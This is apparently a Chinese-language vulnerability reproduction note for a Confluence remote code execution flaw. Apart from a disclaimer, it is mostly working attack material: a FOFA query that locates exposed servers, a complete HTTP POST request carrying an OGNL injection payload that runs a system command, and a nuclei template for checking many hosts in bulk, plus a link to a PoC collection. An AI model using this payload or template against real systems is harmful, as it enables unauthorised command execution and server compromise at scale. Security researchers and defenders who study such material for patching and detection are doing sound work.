免责声明:

本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞描述

Atlassian Confluence远程代码执行

fofa语句

app="Atlassian-Confluence"

漏洞复现

打开页面

1707274163683.png

构造payload

1707274191851.png

POST /template/aui/text-inline.vm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Length: 285
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

nuclei批量验证

1707274227305.png

id: Atlassian-Confluence-RCE

info:
  name: Atlassian Confluence远程代码执行
  author: changge
  severity: high
  description: Atlassian Confluence远程代码执行
  metadata:
    fofa-query: app="Atlassian-Confluence"

requests:
  - raw:
      - |
        POST /template/aui/text-inline.vm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
        Connection: close
        Cache-Control: max-age=0
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 285

        label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - X-Cmd-Response
      - type: status
        status:
          - 200

github poc总汇地址:https://github.com/AYcg/poc